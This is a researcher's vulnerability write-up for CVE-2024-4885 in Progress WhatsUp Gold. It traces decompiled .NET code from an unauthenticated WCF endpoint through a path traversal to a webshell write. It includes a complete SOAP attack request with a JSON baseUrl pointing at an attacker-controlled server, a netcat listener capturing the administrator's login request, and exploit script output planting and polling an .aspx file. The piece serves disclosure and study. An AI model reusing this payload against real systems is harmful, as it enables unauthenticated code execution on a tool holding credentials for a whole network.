WhatsUp Gold Pre-Auth RCE GetFileWithoutZip Primitive
CVE-2024-4885
TLDR
I discovered an unauthenticated path traversal against the latest version of progress whatsup gold and turned it into a pre-auth RCE, following is how I did it
Introduction (yet another TLDR)
Here we go, April 24th I reported a path traversal vulnerability that leads to unauthenticated remote code execution against the latest version of progress whatsup gold. July 3rd the good folks of ZDI published the related advisory.
What is WhatsUp Gold
At the time, one of many definitions for this product on the vendor’s website is:
WhatsUp Gold provides complete visibility into the status and performance of applications, network devices and servers in the cloud or on-premises.
but I describe this as a legitimate C2 where you can manage all sorts of victims I mean end-users and have their credentials stored in this software to manage them remotely, for example:
- you can store the SMB creds that will be used to run powershell commands on any end-user computer machine you want
- you can store SSH creds to execute any command you want
- you can store Cisco switches/routers creds to run management commands remotely
- you can, you get the idea
there are multiple purposes for all of this is one is to be able to collect performance information from these endpoints apparently the other is to manage them remotely or as I’d like to say execute commands remotely, here we care about the exploitation and so that’s good enough information to know what things someone might be able to have once this software is popped which probably is your entire network of users/machines/switches/routers that you have added to this software.
Advanced .NET Exploitation
sponsor of today’s PoC drop is me, if you had a hard time understanding this blog post but like to learn about .NET Exploitation, I have recently made my Advanced .NET Exploitation Training public, sign up and let me teach you all you need about .net related vulnerabilities, things like exploiting WCF (Windows communication foundation), complicated deserializations, lots of other clickbait titles and how to pop shellz on .net targets
The Vulnerability
The vulnerability here is simple, but lets go step by step, the NmApi.exe
process listens on ports 9642 and 9643, both are used to expose .NET WCF Services, the configuration for these two wcf services has been defined in a .config
file at C:\Program Files (x86)\Ipswitch\WhatsUp\NmAPI.exe.config
Line 10 declares the support for WCF of type basicHttpBinding
labelling it as BasicHttpBinding_ICoreServices
with some other configurations such as timeout, etc
Line 41 defines an endpoint for the IRecurringReportServices
contract, and sets the binding type to basicHttpBinding
and the address to RecurringReport
Line 58 defines two base addresses for the available WCF services, line 59 defines the address for the basicHttpBinding
1: <system.serviceModel>
2: <bindings>
3: <netTcpBinding>
4: <binding name="NetTcpBinding_ICoreServices" closeTimeout="00:01:00" openTimeout="00:01:00" receiveTimeout="01:10:00" sendTimeout="00:01:00" transactionFlow="false" transferMode="Buffered" transactionProtocol="OleTransactions" hostNameComparisonMode="StrongWildcard" listenBacklog="10" maxBufferPoolSize="524288" maxBufferSize="99965536" maxConnections="100" maxReceivedMessageSize="99965536" portSharingEnabled="false">
5: <readerQuotas maxDepth="32" maxStringContentLength="99999999" maxArrayLength="999999999" maxBytesPerRead="4096" maxNameTableCharCount="16384"/>
6: <reliableSession ordered="true" inactivityTimeout="00:10:00" enabled="false"/>
7: <security mode="None"/>
8: </binding>
9: </netTcpBinding>
10: <basicHttpBinding>
11: <binding name="BasicHttpBinding_ICoreServices" closeTimeout="00:01:00" openTimeout="00:01:00" receiveTimeout="00:10:00" sendTimeout="00:01:00" allowCookies="false" bypassProxyOnLocal="false" hostNameComparisonMode="StrongWildcard" maxBufferSize="9965536" maxBufferPoolSize="524288" maxReceivedMessageSize="9965536" messageEncoding="Text" textEncoding="utf-8" transferMode="Buffered" useDefaultWebProxy="true">
12: <readerQuotas maxDepth="32" maxStringContentLength="999999" maxArrayLength="16384" maxBytesPerRead="4096" maxNameTableCharCount="16384"/>
13: </binding>
14: </basicHttpBinding>
15: </bindings>
16: <behaviors>
17: <endpointBehaviors>
18: <behavior name="webHttpBehavior">
19: <webHttp/>
20: </behavior>
21: </endpointBehaviors>
22: <serviceBehaviors>
23: <behavior name="NmAPI.CoreServicesBehavior">
24: <serviceMetadata httpGetEnabled="false"/>
25: <serviceDebug includeExceptionDetailInFaults="true"/>
26: </behavior>
27: <behavior name="NmAPI.VirtualizationServicesBehavior">
28: <serviceMetadata httpGetEnabled="false"/>
29: <serviceDebug includeExceptionDetailInFaults="true"/>
30: </behavior>
31: </serviceBehaviors>
32: </behaviors>
33: <services>
34: <service behaviorConfiguration="NmAPI.CoreServicesBehavior" name="NmAPI.CoreServices">
35: <endpoint address="" binding="netTcpBinding" bindingConfiguration="NetTcpBinding_ICoreServices" contract="NmAPI.ICoreServices"/>
36: <endpoint address="CoreServices" binding="wsHttpBinding" contract="NmAPI.ICoreServices">
37: <identity>
38: <dns value="localhost"/>
39: </identity>
40: </endpoint>
41: <endpoint address="RecurringReport" binding="basicHttpBinding" contract="NmAPI.IRecurringReportServices">
42: <identity>
43: <dns value="localhost"/>
44: </identity>
45: </endpoint>
46: <endpoint address="DeviceClone" binding="basicHttpBinding" bindingConfiguration="BasicHttpBinding_ICoreServices" contract="NmAPI.IDeviceCloneServices">
47: <identity>
48: <dns value="localhost"/>
49: </identity>
50: </endpoint>
51: <endpoint address="AlertCenter" binding="basicHttpBinding" bindingConfiguration="BasicHttpBinding_ICoreServices" contract="NmContracts.AlertCenter.Interfaces.IAlertCenterService">
52: <identity>
53: <dns value="localhost"/>
54: </identity>
55: </endpoint>
56: <!-- <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />-->
57: <host>
58: <baseAddresses>
59: <add baseAddress="http://localhost:9642/NmAPI"/>
60: <add baseAddress="net.tcp://localhost:9643"/>
61: </baseAddresses>
62: </host>
63: </service>
64: <service behaviorConfiguration="NmAPI.VirtualizationServicesBehavior" name="NmAPI.VirtualizationServices">
65: <endpoint address="" behaviorConfiguration="webHttpBehavior" binding="webHttpBinding" contract="NmAPI.IPolicyRetriever"/>
66: <endpoint address="NmAPI/VirtualizationServices/" binding="basicHttpBinding" contract="NmAPI.IVirtualizationServices"/>
67: <!-- <endpoint address="NmAPI/VirtualizationServices/VirtualizationServices/mex" binding="mexHttpBinding" contract="IMetadataExchange" />-->
68: <host>
69: <baseAddresses>
70: <add baseAddress="http://localhost:9676"/>
71: </baseAddresses>
72: </host>
73: </service>
74: </services>
75: <diagnostics>
76: <!-- messageLogging node controls options for the System.ServiceModel.MessageLogging source -->
77: <!-- MSDN documentation: http://msdn.microsoft.com/en-us/library/ms731308.aspx -->
78: <messageLogging logEntireMessage="false" logMalformedMessages="false" logMessagesAtServiceLevel="false" logMessagesAtTransportLevel="false" maxMessagesToLog="1000" maxSizeOfMessageToLog="262144" logKnownPii="false">
79: <filters>
80: <clear/>
81: </filters>
82: </messageLogging>
83: </diagnostics>
84: </system.serviceModel>
Eagle Eye would’ve noticed the security setting for the said wcf endpoint, well, actually, it would’ve notice the “absence” of it for the HTTP binding. Microsoft describes the default <security>
for basicHttpBinding
like as follows
The “mode” attribute is “Optional” and Specifies the type of security that is used. The default is None. This attribute is of type BasicHttpSecurityMode. -Yours truly, Microsoft
now that we understand it’s possible to communicate with this WCF unauthenticated, lets understand where the path traversal issue happens
Following interface at NmApi.exe!NmAPI.IRecurringReportServices
defines the available methods offered by the target Windows Communication Foundation contract
using System;
using System.ServiceModel;
using WUGDataAccess.Core.DataContracts;
using WUGDataAccess.RecurringReports.DataContracts;
namespace NmAPI
{
[ServiceContract]
public interface IRecurringReportServices
{
[OperationContract]
EntityRecurringReport AddRecurringReport(EntityRecurringReport rr);
[OperationContract]
EntityRecurringReport GetRecurringReport(int recurringReportID);
[OperationContract]
EntityRecurringReport[] GetAllRecurringReports();
[OperationContract]
bool UpdateRecurringReport(EntityRecurringReport rr);
[OperationContract]
bool EnableRecurringReports(int[] recurringReportIDs);
[OperationContract]
bool DisableRecurringReports(int[] recurringReportIDs);
[OperationContract]
void DeleteRecurringReports(int[] recurringReportIDs);
[OperationContract]
int ExportToPDF(string url, int webUserID, EntityReportExportOptions exportOptions);
[OperationContract]
int EmailPDF(string url, int webUserID, EntityReportExportOptions exportOptions, EntityEmailSettings emailSettings);
[OperationContract]
int TestRecurringReport(EntityRecurringReport rr);
[OperationContract]
EntityRecurringReportProgress GetProgress(int taskID);
[OperationContract]
DateTime GetNextRunTime(EntityScheduleSettings schedule);
}
}
lets look for the implementation of the TestRecurringReport
method which expects an argument of type WUGDataAccess.RecurringReports.DataContracts.EntityRecurringReport
which needs to be named as rr
the rr
variable is passed to an internal task scheduler to execute this operation as an async task by making a call to AddOneTimeTask
1: public int TestRecurringReport(EntityRecurringReport rr)
2: {
3: return RecurringReportScheduleManager.Instance.AddOneTimeTask(rr);
4: }
The following AddOneTimeTask
method will expect the rr
value and after acquiring a task lock at line (3) it will instantiate an instance of RecurringReportTask
class AKA NmAPI.RecurringReportTask.RecurringReportTask
by passing 3 arguments to it which the last one is important to us (the rr argument)
after an instance of this class/task is created, some properties are set such as the duration of the task at line (15) and some other setting, next, at line (17) the task is started then the task is added to the task manager queue at line (18) to be managed.
1: public int AddOneTimeTask(EntityRecurringReport rr)
2: {
3: RecurringReportScheduleManager.taskDictionaryLock.EnterWriteLock();
4: try
5: {
6: if (!this.failoverActive)
7: {
8: RecurringReportScheduleManager._trace.TraceEvent(TraceEventType.Verbose, 4, "Failover has turn off scheduled reports because it is not the active system.");
9: return -1;
10: }
11: RecurringReportScheduleManager.taskCounter++;
12: rr.Schedule = null;
13: RecurringReportTask recurringReportTask = new RecurringReportTask(RecurringReportScheduleManager.taskCounter, true, rr);
14: RecurringReportScheduleManager._trace.TraceEvent(TraceEventType.Verbose, 4, "Creating AddOneTimeTask task =" + recurringReportTask.Name + " taskCounter=" + RecurringReportScheduleManager.taskCounter.ToString());
15: recurringReportTask.DueTime = 1000;
16: recurringReportTask.Period = 1000;
17: recurringReportTask.Start();
18: RecurringReportScheduleManager.recurringReportTasks.Add(RecurringReportScheduleManager.taskCounter, recurringReportTask);
19: }
20: finally
21: {
22: RecurringReportScheduleManager.taskDictionaryLock.ExitWriteLock();
23: }
24: return RecurringReportScheduleManager.taskCounter;
25: }
lets also have a look at the RecurringReportTask
implementation which is fairly easy but has one important note to it, that is, the this.rr
assignment.
following is the RecurringReportTask
implementation which we instantiated earlier, you might wonder where did the taskID
and oneTimeTask
come from, these are part of the 3 arguments passed that we saw earlier, they’re not important to us here, what’s important here is the recurringReport
variable which will be used to set the this.rr
property of the current report task, then some other methods are executed which again are for purpose of async task execution, now, although not visible here, but the next method being invoked indirectly by the internal task manager is TaskCallback
1: public RecurringReportTask(int taskID, bool oneTimeTask, EntityRecurringReport recurringReport)
2: {
3: this.TaskID = taskID;
4: this.OneTimeTask = oneTimeTask;
5: this.rr = recurringReport;
6: this.UpdateProgress(TaskState.Initializing, 0, "Initializing...");
7: this.UpdateProgress(null);
8: }
The TaskCallback
AKA NmAPI.RecurringReportTask.TaskCallback
is a overridden method that any class that inherits from WhatsUp.Core.ScheduledTask
need to override in order to define what’s the actual logic that gets invoked once a task is started via the internal task manager. remember, this method is part of the same class that was setting the this.rr
property earlier.
the method might look complicated at first glance, but its actually not, you can guess from the method names so far that idea is to generate a report, and in order to do so these statements are simply looking for the report generation settings in the passed rr
object which is attacker controllable, so lets talk about where we want the code to be directed
we are interested in hitting the this.GenerateOutputFile
method, in order to do so, look at line (27) we just need to have something other than “pdf” for the this.rr.ExportOptions.ExportType
, if we manage to cause the this.rr.ExportOptions.ExportType == "pdf"
condition to result in false, then the else
clause is executed which first checks if there are enough space on the file system at line (35) and then at line (37) the this.GenerateOutputFile
is invoked passing the this.rr
, lets continue looking at the GenerateOutputFile
implementation
1: public override void TaskCallback(object obj)
2: {
3: if (!base.CanRun())
4: {
5: return;
6: }
7: base.TaskCallback(obj);
8: this._trace.TraceInformation("{0}:Initializing...", new object[] { this.TaskID });
9: if (this.rr.ExportOptions.ExportType == "")
10: {
11: this.rr.ExportOptions.ExportType = "pdf";
12: }
13: EntityReportExportOptions exportOptions = this.rr.ExportOptions;
14: string extension = RecurringReportTask.GetExtension(this.rr);
15: string text = null;
16: string text2 = null;
17: byte[] array = null;
18: DateTime dateTime = this.CalculateNextRunTime(this.rr);
19: while (DateTime.Now < dateTime)
20: {
21: if (this.Canceled)
22: {
23: return;
24: }
25: Thread.Sleep(TimeSpan.FromSeconds(1.0));
26: }
27: if (this.rr.ExportOptions.ExportType == "pdf")
28: {
29: string text3 = this.rr.Name + " " + DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
30: text3 = text3 + "<br><br>" + this.rr.ExportOptions.PdfMessage;
31: this.SendEmailForPdf(text3, null);
32: }
33: else
34: {
35: if (new DriveInfo(Directory.GetDirectoryRoot(this.rr.ExportOptions.WebExportDirectory)).AvailableFreeSpace > 104857600L)
36: {
37: text = this.GenerateOutputFile(this.rr);
38: }
39: if (string.IsNullOrEmpty(text))
40: {
41: this.UpdateProgress(TaskState.Failed, 100, "Failed to generate output file!\nCheck the available disk space!");
42: }
43: else
44: {
45: try
46: {
47: text2 = Path.GetFileName(text);
48: array = File.ReadAllBytes(text);
49: }
50: catch (Exception ex)
51: {
52: this.UpdateProgress(TaskState.Failed, 100, "Failed while attempting to read output file!\n" + ex.Message);
53: }
54: }
55: if (array != null && this.rr.ExportOptions.ToMail)
56: {
57: this.UpdateProgress(TaskState.Running, 70, "Sending email to " + this.rr.EmailSettings.SendTo);
58: try
59: {
60: this.SendEmail(array, text2, extension, null, null);
61: }
62: catch (Exception ex2)
63: {
64: this.UpdateProgress(TaskState.Failed, 100, "Failed while attempting to send Email!\n" + ex2.Message);
65: }
66: }
67: }
68: if (this.Progress.State != TaskState.Failed)
69: {
70: this.UpdateProgress(TaskState.Complete, 100, "Finished.");
71: }
72: if (this.OneTimeTask)
73: {
74: base.Stop();
75: }
76: else
77: {
78: base.TaskCallbackEnd(obj);
79: }
80: this.LastActiveTime = DateTime.Now;
81: }
The GenerateOutputFile
will take the rr
argument and first it will define a variable named url
based on a property inside the rr.URL
you might think this is going to be a http(s)://.....
sort of thing, but don’t let the variable name fool you, continuing at line (10) another variable named webExportDirectory
is set using the value of rr.ExportOptions.WebExportDirectory
property, and then at line (11) the url
variable is checked to be a valid json by calling the RecurringReportTask.IsJson
Now we are interested in hitting the line (24) which calls the GetFileWithoutZip
method, in order to achieve this, we need to set the rr.ExportOptions.ToMail
property to true to satisfy the condition at line (16) and then set the rr.ExportOptions.ZipEnabled
property to false to care of condition at line (18) which results in reaching the else
clause and invoking the GetFileWithoutZip
at line (24) and passing the following arguments:
url
which contains the JSON blobwebExportDirectory
which its value was assigned fromrr.ExportOptions.WebExportDirectory
- a constant
false
- and finally the
rr
which is also under our control
lets proceed and look at the implementation of GetFileWithoutZip
1: private string GenerateOutputFile(EntityRecurringReport rr)
2: {
3: string url = rr.URL;
4: string extension = RecurringReportTask.GetExtension(rr);
5: this.UpdateProgress(TaskState.Running, 10, string.Format("Generating {0} for the URL: {1}", extension.ToUpper(), url));
6: string text2;
7: try
8: {
9: Export exporterInstance = this.getExporterInstance(rr);
10: string webExportDirectory = rr.ExportOptions.WebExportDirectory;
11: if (!RecurringReportTask.IsJson(url))
12: {
13: throw new NotSupportedException("PDF export is not supported. Please convert to HTML export.");
14: }
15: string text;
16: if (rr.ExportOptions.ToMail)
17: {
18: if (rr.ExportOptions.ZipEnabled)
19: {
20: text = exporterInstance.GetFile(url, webExportDirectory, rr);
21: }
22: else
23: {
24: text = exporterInstance.GetFileWithoutZip(url, webExportDirectory, false, rr);
25: }
26: }
27: else if (rr.ExportOptions.ZipEnabled)
28: {
29: text = exporterInstance.SaveFile(url, webExportDirectory, rr);
30: }
31: else
32: {
33: text = exporterInstance.SaveFileWithoutZip(url, webExportDirectory, false, rr);
34: }
35: this.UpdateProgress(text);
36: this.UpdateProgress(TaskState.Running, 70, "File generated successfully.");
37: text2 = text;
38: }
39: catch (Exception ex)
40: {
41: string text3 = This.Where(false, "GenerateOutputFile", "C:\\a\\WUG\\WUG\\Project\\Source\\Source\\NmAPI\\RecurringReportTask.cs", 233);
42: string text4 = Log.ExceptionMessage(ex, "");
43: this.UpdateProgress(TaskState.Failed, 100, string.Concat(new string[]
44: {
45: "Failed while generating ",
46: extension.ToUpper(),
47: ": ",
48: text3,
49: " ",
50: text4
51: }));
52: text2 = null;
53: }
54: return text2;
55: }
(Start looking at the code below) First, the attacker controlled path which comes from the argument named folder
is used to construct a path at line (3) the return value of Path.Combine
overwrites the folder
variable value, next the folder is cleaned up at line (4) and if the directory doesn’t exist (line 5) it gets created (line 7)
now the json
variable (which originated from the previous function url
variable) is used to invoke a very important method named this.getreport
, now before I step into this function and explain its mechanics, lets understand where the return value of this function is used
the return value is placed inside a <string, string>
dictionary at line (11) and then after some sanity checks to take care of potential exceptions and empty values at lines (12,16) if all is good then if the condition at line 26 that is rr.ExportOptions.ExportType
is satisfied, then an instance of the StringBuilder
which was created at line (24) is used to append the values of the dictionary members at line 30 and 31
so we understand so far that whatever the this.getReport
method returns which is a dictionary of <string, string> is looped and the members are made into a string, and then at line 33 until 40, a string concatenation is invoked to craft a file name for the report to be saved, and this report name is used at line 41 in combination of the folder
variable which we discussed earlier to make an absolute path for the report to be created and its content to be set to the stringBuilder
by making a call to File.WriteAllText
at line (42)
the puzzle has started to come together, eagle eye would thing, how can we control the path and how can be control the dictionary members, can we just take advantage of rr.Name
property? what about the dictionary members, do we need to look into getReport
? the answer to the first question is that the devs at progress tried to be smart and have wrapped the rr.Name
property with a call to this.ValidName
which without boring you with its details is there to prevent path traversal, by making sure the file name doesn’t contain invalid characters such as . / \ : etc
but they forgot about the folder
part, that part doesn’t have any validation, so if a given folder
is something like C:\\controlled-path
then the path generated will be C:\\controlled-path\\Data\\ExportedReports\\SAFE_2024-00-00_00-00-00.aspx
wait, where did the .aspx
come from? good question, you see the text
being used at line 39 is coming from this.getReport
so now lets look at this method, if we can influence the return value of it which is a dictionary and the passed by reference argument which is out text
that is going to be the extension, we can achieve a write what where primitive which yields us RCE
1: public string GetFileWithoutZip(string json, string folder, bool preview, EntityRecurringReport rr)
2: {
3: folder = Path.Combine(folder, "Data\\ExportedReports\\");
4: this.CleanupFiles(folder);
5: if (!Directory.Exists(folder))
6: {
7: Directory.CreateDirectory(folder);
8: }
9: string text;
10: string text2;
11: Dictionary<string, string> report = this.getReport(json, out text, out text2);
12: if (report.ContainsKey("exception"))
13: {
14: throw new Exception(report["exception"]);
15: }
16: if (!report.Any<KeyValuePair<string, string>>())
17: {
18: throw new Exception("No files were generated");
19: }
20: if (preview)
21: {
22: text = "html";
23: }
24: StringBuilder stringBuilder = new StringBuilder();
25: string text4;
26: if (rr.ExportOptions.ExportType != "xml")
27: {
28: foreach (KeyValuePair<string, string> keyValuePair in report)
29: {
30: stringBuilder.Append(keyValuePair.Value);
31: stringBuilder.Append(Environment.NewLine);
32: }
33: string text3 = string.Concat(new string[]
34: {
35: this.ValidName(rr.Name),
36: "_",
37: DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss"),
38: ".",
39: text
40: });
41: text4 = Path.Combine(folder, text3);
42: File.WriteAllText(text4, stringBuilder.ToString());
43: }
44: else
45: {
46: string text5 = report.Values.First<string>();
47: string text6 = "";
48: report.Remove(report.Keys.First<string>());
49: foreach (KeyValuePair<string, string> keyValuePair2 in report)
50: {
51: string value = keyValuePair2.Value;
52: XmlDocument xmlDocument = new XmlDocument();
53: xmlDocument.LoadXml(value);
54: string outerXml = xmlDocument.GetElementsByTagName("Table")[0].OuterXml;
55: text6 = text6 + Environment.NewLine + outerXml;
56: }
57: text5 = text5.Replace("</Table>", "</Table>" + Environment.NewLine + text6);
58: stringBuilder.Append(text5);
59: string text7 = string.Concat(new string[]
60: {
61: this.ValidName(rr.Name),
62: "_",
63: DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss"),
64: ".",
65: text
66: });
67: text4 = Path.Combine(folder, text7);
68: File.WriteAllText(text4, stringBuilder.ToString());
69: }
70: return text4;
71: }
when the WhatsUp.ExportUtilities.Export.getReport
is invoked, 3 arguments are passed, the json
variable containing the provided json configuration setting that is super important here and the other two which are out string extension
and out string title
are just two variables passed by reference.
Line (3) will deserialize the json object and store it in a variable named jobject
which is of type JObject
then a using
clause is executed which will first instantiate an instance of new HttpClient()
and assigns this object to a variable named httpClient
next, at line (9) the code will extract the baseUrl
key from the previous deserialized json configuration blob and assigns the BaseAddress
property of the httpClient
object which is entirely under our control, now that the base url is set, at line (12) an interesting call to WebUserConfig.Get
is initiated which will use pass the userId
member from our controlled jobject
variable and passes two variables by reference, this is such a cool function, given a userId
it will retrieve the username and password of any user you like ^_^ and as said before, userId
is completely, under our control, the username gets placed inside the empty
variable and password inside the empty2
what an awesome way to name variables one might say
chad: naming variables is important to increase code readability
dev: yes yes but I can’t be fucked
once the the httpClient is prepared, at line (14) a GET
request is sent to verify if the remote server accept the provided creds by making a call to GetStringAsync(text).GetAwaiter().GetResult()
after that, at line (15) the uri path is changed to api/core/render
and an instance of HttpRequestMessage
is instantiated by providing PUT
as the method and the text
variable holding api/core/render
next an async call is invoked at line (19) to retrieve the result, once the request is complete, the result is fetched and placed inside the result2
variable at line (21)
since we can control where this request is going, we can point it to our rogue server and return a poisoned response, and then the result is used to populate the dictionary at line (24) and return it to the caller, also at line (23) the eagle eye would’ve notice the extension
is also populated using the jobject
member named renderType
which is also under our control which answers the aspx
question from before
finally the poisoned dictionary
is returned to the caller at line (26)
so now we know, we can make the getReport
function to send a HTTP request to our rogue server to retrieve a poisoned response which the content of this response is used as the content of a file and the extension is also controllable through a jobject
member named renderType
, GG
Note: you might have noticed at line (13) a path being constructed which is going to contain the username and password of the whatsup gold administrator account, as cool as it look having a 3rd impact here (file write from the caller, SSRF in here, potential cred leak, etc) you better forget about the cred leak (or should you?) cause the password is encrypted with a key which is unique to each installation instance of the product (Psssst, maybe there is a waaaaay ^_^)
1: private Dictionary<string, string> getReport(string json, out string extension, out string title)
2: {
3: JObject jobject = JsonConvert.DeserializeObject<JObject>(json);
4: Dictionary<string, string> dictionary;
5: using (HttpClient httpClient = new HttpClient())
6: {
7: httpClient.DefaultRequestHeaders.Clear();
8: httpClient.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json"));
9: httpClient.BaseAddress = new Uri((string)jobject["baseUrl"]);
10: string empty = string.Empty;
11: string empty2 = string.Empty;
12: WebUserConfig.Get((int)jobject["userId"], ref empty, ref empty2);
13: string text = string.Format("Session/Login/?sUsername={0}&sPassword={1}", empty, empty2);
14: httpClient.GetStringAsync(text).GetAwaiter().GetResult();
15: text = "api/core/render";
16: HttpRequestMessage httpRequestMessage = new HttpRequestMessage(HttpMethod.Put, text);
17: StringContent stringContent = new StringContent(json, Encoding.UTF8, "application/json");
18: httpRequestMessage.Content = stringContent;
19: HttpResponseMessage result = httpClient.SendAsync(httpRequestMessage).GetAwaiter().GetResult();
20: result.EnsureSuccessStatusCode();
21: string result2 = result.Content.ReadAsStringAsync().GetAwaiter().GetResult();
22: title = (string)jobject["title"];
23: extension = (string)jobject["renderType"];
24: dictionary = JsonConvert.DeserializeObject<Dictionary<string, string>>(result2);
25: }
26: return dictionary;
27: }
now all we need is to craft the correct type of request that meets the structure of the rr
variable which is of type WUGDataAccess.RecurringReports.DataContracts.EntityRecurringReport
, a request can look like the following
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<TestRecurringReport xmlns="http://tempuri.org/">
<rr xmlns:a="http://schemas.datacontract.org/2004/07/WUGDataAccess.RecurringReports.DataContracts"
xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<a:AlternateHost i:nil="true" />
<a:Disabled>false</a:Disabled>
<a:EmailSettings xmlns:b="http://schemas.datacontract.org/2004/07/WUGDataAccess.Core.DataContracts">
<b:Authentication>None</b:Authentication>
<b:CredentialsId i:nil="true" />
<b:DirectoryPath>C:\PROGRA~2\Ipswitch\WhatsUp\Data\ScheduledReports</b:DirectoryPath>
<b:Password />
<b:Port>25</b:Port>
<b:SMTPServer />
<b:SendFrom>WhatsUpGold@YourDomain.com</b:SendFrom>
<b:SendTo i:nil="true" />
<b:Subject>Emailing: Wireless Log</b:Subject>
<b:TimeoutSec>30</b:TimeoutSec>
<b:UseEncryptedConn>false</b:UseEncryptedConn>
<b:Username />
</a:EmailSettings>
<a:ExportOptions>
<a:AuthorName>WhatsUp Gold</a:AuthorName>
<a:AutosizePDFPage>true</a:AutosizePDFPage>
<a:AvoidImageBreak>false</a:AvoidImageBreak>
<a:AvoidTextBreak>true</a:AvoidTextBreak>
<a:BrowserPageHeight>0</a:BrowserPageHeight>
<a:BrowserPageWidth>0</a:BrowserPageWidth>
<a:ConversionDelay>3</a:ConversionDelay>
<a:CustomPageHeight>0</a:CustomPageHeight>
<a:CustomPageWidth>0</a:CustomPageWidth>
<a:ExportAuthToken />
<a:ExportType>html</a:ExportType>
<a:FitHeight>false</a:FitHeight>
<a:FitWidth>false</a:FitWidth>
<a:InternalLinksEnabled>false</a:InternalLinksEnabled>
<a:LiveURLsEnabled>false</a:LiveURLsEnabled>
<a:NavigationTimeout>240</a:NavigationTimeout>
<a:PageOrientation>Portrait</a:PageOrientation>
<a:PageSize>Letter</a:PageSize>
<a:PdfMessage>html</a:PdfMessage>
<a:PreviewEnabled>false</a:PreviewEnabled>
<a:Subject i:nil="true" />
<a:TimeFormat>g:i:s a</a:TimeFormat>
<a:Title i:nil="true" />
<a:ToMail>true</a:ToMail>
<a:WebExportDirectory>C:\Program Files (x86)\Ipswitch\WhatsUp\html\NmConsole\</a:WebExportDirectory>
<a:ZipEnabled>false</a:ZipEnabled>
</a:ExportOptions>
<a:IncludeURLInEmail>false</a:IncludeURLInEmail>
<a:Name>webshell</a:Name>
<a:NextRun i:nil="true" />
<a:RecurringReportID>-1</a:RecurringReportID>
<a:Schedule xmlns:b="http://schemas.datacontract.org/2004/07/WUGDataAccess.Core.DataContracts">
<b:DailyDays>1</b:DailyDays>
<b:DailyOptions>Interval</b:DailyOptions>
<b:DaysOfTheWeek xmlns:c="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<c:boolean>true</c:boolean>
<c:boolean>true</c:boolean>
<c:boolean>true</c:boolean>
<c:boolean>true</c:boolean>
<c:boolean>true</c:boolean>
<c:boolean>true</c:boolean>
<c:boolean>true</c:boolean>
</b:DaysOfTheWeek>
<b:MonthlyDayMonths>1</b:MonthlyDayMonths>
<b:MonthlyDayNumber>3</b:MonthlyDayNumber>
<b:MonthlyOptions>DayOfMonth</b:MonthlyOptions>
<b:MonthlyRecur>First</b:MonthlyRecur>
<b:MonthlyRecurDay>Sunday</b:MonthlyRecurDay>
<b:MonthlyRecurMonths>1</b:MonthlyRecurMonths>
<b:RecurringInterval>1</b:RecurringInterval>
<b:RecurringTimeIntervals>Minutes</b:RecurringTimeIntervals>
<b:ScheduleType>TimeInterval</b:ScheduleType>
<b:StartTime>2024-07-05T16:59:14.047957+01:00</b:StartTime>
<b:TimeIntervalStartDate>2024-07-05T16:59:14.047957+01:00</b:TimeIntervalStartDate>
<b:WeeklyWeeks>1</b:WeeklyWeeks>
<b:YearlyDayOfMonth>3</b:YearlyDayOfMonth>
<b:YearlyMonthRecur>First</b:YearlyMonthRecur>
<b:YearlyMonthRecurDay>Sunday</b:YearlyMonthRecurDay>
<b:YearlyMonths>March</b:YearlyMonths>
<b:YearlyOptions>DayOfYear</b:YearlyOptions>
<b:YearlyRecurMonth>March</b:YearlyRecurMonth>
</a:Schedule>
<a:URL>
{"title":"foo","renderType":"aspx","reports":[{"title":"thetitle","url":"/NmConsole/api/Wireless/ReportWirelessLog","dateRangeFilter":{"label":"Date
Range","n":0,"range":"Today","text":"Today"},"severityFilter":{"label":"Severity","value":-1,"text":"ALL"},"limit":50,"grid":{"emptyText":"[
No records found
]","columns":[{"dataIndex":"Date","text":"Date","flex":1},{"dataIndex":"Severity","text":"Severity","flex":1},{"dataIndex":"Message","text":"Message","flex":1}],"filters":[],"sorters":[]}}],"baseUrl":"http://192.168.0.181:1337/","userId":1}
</a:URL>
<a:WebUserID>1</a:WebUserID>
<a:WebUserName>admin</a:WebUserName>
</rr>
</TestRecurringReport>
</s:Body>
</s:Envelope>
running a simple listener you’ll receive the following request
ncat -lvvnp 1337
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 192.168.0.231:4605.
GET /Session/Login/?sUsername=admin&sPassword=223,255,226,50,2,247,71,87,99 HTTP/1.1
Accept: application/json
Host: 192.168.0.181:1337
Connection: Keep-Alive
now building a rogue server is easy, and if done correctly, you’ll get:
This is how things went down:
Proof of Concept
you can find the exploit at the following github repository
python3 CVE-2024-4885.py -t http://192.168.0.231:9642 -s 192.168.0.181:1337 -f hax.aspx
_______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______
|______ | | | | | | | | | | | \ | | | \ | | ____ | |______ |_____| | | |
______| |_____| | | | | | | |_____| | \_| __|__ | \_| |_____| . | |______ | | | | |
(*) Progress WhatsUp Gold GetFileWithoutZip Unauthenticated Remote Code Execution (CVE-2024-4885)
(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
(*) Technical details: https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/
(^_^) Prepare for the Pwnage (^_^)
(+) Sending payload to http://192.168.0.231:9642/NmConsole/ReportService.asmx
(*) Callback server listening on http://192.168.0.181:1337
(+) Payload sent successfully
(*) Checking if target is using HTTPS or HTTP https://192.168.0.231/NmConsole/
exploit done!
(*) Target host: https://192.168.0.231
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-24.aspx
(+) Callback received
192.168.0.231 - - [06/Jul/2024 23:31:30] "GET /Session/Login/?sUsername=admin&sPassword=3,0,0,0,16,0,0,0 HTTP/1.1" 200 -
192.168.0.231 - - [06/Jul/2024 23:31:30] "PUT /api/core/render HTTP/1.1" 200 -
(*) Waiting 180s for the RecurringReport task to land...
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-25.aspx
